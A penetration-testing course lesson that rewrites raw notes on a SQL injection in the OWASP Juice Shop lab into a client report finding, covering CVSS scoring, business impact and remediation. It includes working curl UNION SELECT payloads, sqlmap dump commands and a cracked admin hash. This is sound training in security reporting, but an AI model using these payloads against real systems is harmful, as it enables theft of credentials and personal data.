Zum Hauptinhalt springen

From a raw note to a deliverable finding

In module 7, the SQL injection on Juice Shop search took twenty minutes. The notes fit in eight lines. A client can do nothing with them. This lesson takes exactly that find and rewrites it into a write-up you could paste into Lab 3.

Same lab, different audience

Target: http://10.10.10.50:3000 — OWASP Juice Shop, already authorized in your laboratory. The extracted accounts are those from module 7 (admin@juice-sh.op, three rows, --stop=3). We do not relaunch a bulk extraction. We write.

What you will be able to do after this lesson

  • Tell a field note apart from a finding: what is missing, what lies, what replays.
  • Rebuild a curl proof from a sqlmap success, so the client does not have to install the tool.
  • Calculate a CVSS 3.1 vector, then call P1 with a business sentence.
  • Phrase an impact leadership can quote, and a remediation the developer can test.
  • Place the write-up in the report: number, appendices, link from the summary.

1. The BEFORE — what you actually have in the notebook

Here, with no makeup, is what an engagement notebook looks like after step 3 of module 7. That is normal. It is not deliverable.

2026-04-16 14:10  juice 10.10.10.50:3000
search q=apple -> 200 product list
q=apple' -> 500 SQLITE_ERROR near "'"
sqlmap -r preuves/req-search.txt --batch --level=3 --dbs
UNION param q SQLite
sqlmap --tables Users Products Feedbacks BasketItems ...
sqlmap --dump -T Users --start=1 --stop=3
1 admin@juice-sh.op 0192023a7bbd73250516f069df18b500 admin
2 jim@juice-sh.op e5a9e79ba99895c40506c5be3f4d2354 customer
3 bender@juice-sh.op 03dfb27506def0d31d5b1e57dc95519f customer
crackstation 0192023a... -> admin123 3 seconds
TODO report
have not touched the login SQLi from step 2 (separate finding)

This block already contains the facts. It contains none of the seven template fields. No title, no priority, impact = “TODO”, remediation = nothing, evidence = a tool the developer will not open.

The rest of the lesson fills the fields in the order a reader reads them, not in the order you clicked.


2. Rebuild the primary evidence: a curl, not a tool

sqlmap confirmed. The report shows a request a third party replays in thirty seconds. We start from the error, then we extract.

2.1. Show that the input breaks the SQL

curl -sS -D - -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=apple'" \
-o /tmp/sqli-erreur.body | head -n 20

Typical output (headers):

HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Type: application/json; charset=utf-8

Body excerpt:

{"error":{"message":"SQLITE_ERROR: near \"'\": syntax error","stack":"SequelizeDatabaseError: SQLITE_ERROR: near \"'\": syntax error\n    at Query.run..."}}

Reading for the write-up. The q parameter is interpolated into a SQLite query. The server admits the engine and the nature of the error. That is already evidence. It is not yet the impact: a 500 error is not a dump.

2.2. Extract three accounts, as in module 7

Juice Shop builds a clause of the form name LIKE '%…%' OR description LIKE '%…%'. The demonstration payload closes the parentheses, chains a nine-column UNION SELECT (the lab Products schema), and comments out the rest.

curl -sS -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=qwert')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--" \
| jq '.data[:3] | .[] | {id,name,description}'

Observed output (first three useful rows):

{
"id": 1,
"name": "admin@juice-sh.op",
"description": "0192023a7bbd73250516f069df18b500"
}
{
"id": 2,
"name": "jim@juice-sh.op",
"description": "e5a9e79ba99895c40506c5be3f4d2354"
}
{
"id": 3,
"name": "bender@juice-sh.op",
"description": "03dfb27506def0d31d5b1e57dc95519f"
}

The name field holds the email. The description field holds the hash. The API answers 200: to an automaton, this is a successful search.

The RoE stays in the evidence

Three rows, not the table. You write “extraction limited to three records, in accordance with the RoE”. That protects the client (no full copy on your disk) and you (nobody can accuse you of exfiltrating the database).

2.3. The administration secret, in the clear

Module 7 already cracked the hash on CrackStation: 0192023a7bbd73250516f069df18b500admin123. MD5, no visible salt. Time: under five minutes, including three seconds of cracking.

In the body of the finding, you publish the hash truncated and the fact that it is cracked. The full hash and the CrackStation screenshot go in an appendix, under the same finding number. The PDF sent by email does not need to be a password dictionary.

Save now, with the convention from lesson 12.1:

mkdir -p ~/mission/preuves
# replay while saving
curl -sS -D ~/mission/preuves/C01-2026-04-16-erreur.hdr \
-G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=apple'" \
-o ~/mission/preuves/C01-2026-04-16-erreur.json

curl -sS -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=qwert')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--" \
-o ~/mission/preuves/C01-2026-04-16-union.json

sqlmap remains secondary evidence: dated log, command with --stop=3. It does not replace the two curls.


3. Title, context, surface

Three sentences to freeze before talking about severity. If the title moves later, the appendices and the summary break.

Title. Action + surface.

C-01 — SQL injection on GET /rest/products/search

You do not write “Juice Shop” in the deliverable title: the client names it Catalog or Store search. In the lab, the technical URL is enough; on a real engagement, you add the functional name in parentheses.

Context.

The public search endpoint feeds the catalog. It requires
no session. It queries a SQLite database through an interpolated string.

What you do not mix. The injection on the login form (step 2 of module 7) is C-02, another write-up. Same CWE family, different surface, different remediation (different query, different file).


4. Calculate the CVSS, then call the P1

You fill the vector on what was demonstrated: reading the Users table from the Internet, with no account. No write, no OS shell, no DELETE.

MetricValueWhy
Attack VectorN (Network)Public HTTP.
Attack ComplexityL (Low)One GET request, no race, no token.
Privileges RequiredN (None)No cookie.
User InteractionN (None)No victim click.
ScopeU (Unchanged)The impact stays the application and its database.
ConfidentialityH (High)Emails and authentication secrets.
IntegrityN (None)No modification demonstrated.
AvailabilityN (None)No denial.

Vector:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Base score: 7.5High. Not 9.8. A 9.8 would typically require an integrity or availability hit, or code execution. You did not show that. Inventing a 9.8 here is a reporting lie.

Priority decision: P1.

FactWeight
Surface on the Internet, no authenticationopen to anyone
admin account recovered, weak password crackedtakeover of the back office
Emails of other accountslab personal data; at a real client, Law 25 / GDPR
Replay in one curl lineno rare skill
CVSS 7.5 onlydoes not cancel the four lines above

Justification sentence, to paste under the priority:

P1 — an anonymous third party obtains the store’s administration secret
from the public Internet; the CVSS 7.5 score understates this business impact.

If the same vector had concerned an internal search engine, behind VPN and an already privileged account, the write-up would probably be P2. That is not the case.


5. Business impact — three levels, one write-up

You write what is already true, then you cleanly separate what would be a chain (overview), not a finding-level impact.

For leadership (this sentence will also go in the summary, rephrased):

Public search delivers the store administrator’s credentials.
A stranger can open the back office and act in the merchant’s name.

For the lawyer / CISO:

Email addresses and authentication secrets are extractable
without authorization. On a real store, that triggers an incident
analysis and, depending on the customer file, a notification duty
(Law 25, GDPR). Passwords are stored as MD5, with no observed salt:
cracking is immediate.

For the technical team:

Read of the Users table via UNION on the q parameter. Admin role
confirmed. Password admin123 obtained by cracking a known MD5.
No UPDATE / INSERT / os-shell was attempted.

What you do not write in C-01: “then the attacker will pivot to accounting”. You did not pivot. If a chain exists (admin XSS, Jenkins, AD), it is told in the overview section, with the finding numbers.


6. Remediation — fix, compensation, test, effort

Three layers. The client must see which one closes the P1.

Fix (closes the P1).

  • Parameterized query / ORM: the q parameter is no longer concatenated.
  • Database account: the application does not use a role able to read Users from a catalog search — least privilege.
  • Secret storage: drop MD5; Argon2id or bcrypt, unique salt.
  • As of today: rotate the admin password, invalidate sessions, log abnormal GETs on /rest/products/search.

Compensation (while waiting for the fix).

  • WAF rule on UNION, SQL comments, SQLITE_ERROR as 500. This is not closure. A WAF can be bypassed; the write-up stays open as long as the UNION curl works.

Closure test — the same as the evidence, expected result different:

curl -sS -o /tmp/apres.json -w '%{http_code}\n' \
-G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=qwert')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--"

# Expected: 400 or 200 with data=[] or a list of real products,
# never an object whose "name" is an address and "description" a hash.
jq '.data[] | .name' /tmp/apres.json

Effort. One to three person-days for a developer who knows the stack (Express / Sequelize in this lab). Password rotation: one hour, ops or store admin, the day the P1 is read.

References to paste:

Ref.Identifier
CWECWE-89 (SQL Injection)
OWASPA03:2021 Injection
Adjacent CWECWE-328 (Weak Hash), CWE-209 (Error Message)
CVEnone — implementation defect, not a catalogued product

7. The AFTER — the write-up as it goes to the client

Below, the full finding. This is the level expected for each of the six Lab 3 write-ups. The HTTP blocks sit inside the template: the outer fence has four backticks.

## C-01 — SQL injection on GET /rest/products/search

**Severity.** P1.
CVSS 3.1: 7.5 — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`.
Justification: an anonymous third party obtains the store’s administration
secret from the public Internet; the 7.5 score understates this business impact.

**Context.** The public search endpoint feeds the catalog. No
session is required. The `q` parameter is interpolated into a SQLite query.

**Evidence.** 16 April 2026, authorized laboratory `10.10.10.50:3000`.
Extraction limited to three records (RoE).

Detection — one apostrophe is enough to make the SQL fail:

```bash
curl -sS -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=apple'"
```

Response: HTTP 500, body `SQLITE_ERROR: near "'": syntax error`.

Extraction — `UNION SELECT` on nine columns, table `Users`:

```bash
curl -sS -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=qwert')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--"
```

Response: HTTP 200. The first three useful objects carry, in `name`
and `description`, `admin@juice-sh.op` / `0192023a7bbd7325…`,
`jim@juice-sh.op`, `bender@juice-sh.op`.

Secondary confirmation: `sqlmap -r preuves/req-search.txt --batch --level=3`
then `--dump -T Users --start=1 --stop=3`. Same table, same limit.

Crack: administrator MD5 hash resolved to `admin123` (public dictionary).
Log and screenshots: appendix A, files `C01-2026-04-16-*`.

**Business impact.** A stranger reads the administrator’s and
customers’ credentials, then opens the back office. Secrets are stored as MD5
with no observed salt. On a real store, emails and admin access
trigger an incident analysis and, depending on the file, a
Law 25 / GDPR notification. No database write or system execution was
demonstrated.

**Remediation.**
1. Immediate (ops, under one hour): rotate the admin password,
invalidate sessions, alert on SQL 500s.
2. Fix (dev, 1 to 3 days): parameterized queries on `q`;
SQL account with catalog read only; Argon2id or bcrypt hash.
3. Temporary compensation: WAF rule. Does not close the finding.
4. Closure test: the UNION `curl` above must no longer return
an email or a hash. A 400, or a list of real products, is enough.

**References.** CWE-89, CWE-328, CWE-209, OWASP A03:2021. No CVE.

Compare with the notebook in section 1. Every technical fact is there. Nothing was invented. Everything became decidable.


8. Where this write-up plugs into the report

The write-up does not float. Four connections, or the PDF contradicts itself.

Executive summary — one line, no URL:

P1 — public search delivers the store’s administration account
(see C-01). This week’s action: rotate the secret and fix the
search parameter.

Heatmap — +1 in the Application / P1 cell.

Recommendations by theme — C-01 feeds the “Data access” workstream: SQL parameterization across the whole application, not only on search. If you also have the injectable login, the two write-ups merge here into one structural action.

Appendices

FileContent
C01-2026-04-16-erreur.json500 body
C01-2026-04-16-union.json200 body, three objects
C01-2026-04-16-sqlmap.log--stop=3 log
C01-2026-04-16-crack.pngDated crack screenshot

The body of the report does not copy the full JSON. It points.


9. Four rewrite faults, on this exact example

Inflating the score. Moving to 9.8 because “SQL is critical”: the I:N A:N vector does not allow it. The P1 stands without lying about the number.

Delivering admin123 in bold on page 4. The cleartext password travels with the PDF. Fact + truncated in the write-up, complete in an encrypted appendix.

Writing “use sqlmap to verify” as remediation. The client must not become a pentester. The closure test is the UNION curl, or a unit test that sends the same payload.

Merging with the injectable login. Two tickets, two files, two tests. The recommendations chapter ties them together. The write-ups do not.

Read the P1 justification out loud

If you cannot say it to a CIO in under fifteen seconds, it is not ready. “CVSS 7.5 therefore High” is not a CIO sentence. “Anyone on the Internet has the store admin password” is.


10. Control mini-exercise — before the lab

Take your notes from module 7, step 4 (stored XSS on the profile) or step 2 (login). Without rereading the C-01 write-up above, fill in on a draft:

  1. action + surface title;
  2. CVSS vector (UI will often move to Required for an XSS);
  3. P1–P4 priority and the business sentence;
  4. a replayable curl or walkthrough;
  5. a closure test.

If the title contains “XSS” without saying where, if the evidence is alert(1) with no session theft, if the remediation is “filter scripts”, you are not yet at C-01 level. Module 7 already separated POC and impact: the report requires both, in that order — proof of existence, then proof of effect.


What to remember

Field notes are raw material. The finding is a seven-field object, with a curl proof the client replays, an honest CVSS, a defensible priority, an impact already demonstrated, a testable remediation. On the module 7 injection, the 7.5 figure and the P1 coexist: the first describes the technique, the second the store that was taken. Next lesson: you write the full report — six write-ups, summary, 3 / 6 / 12 month plan.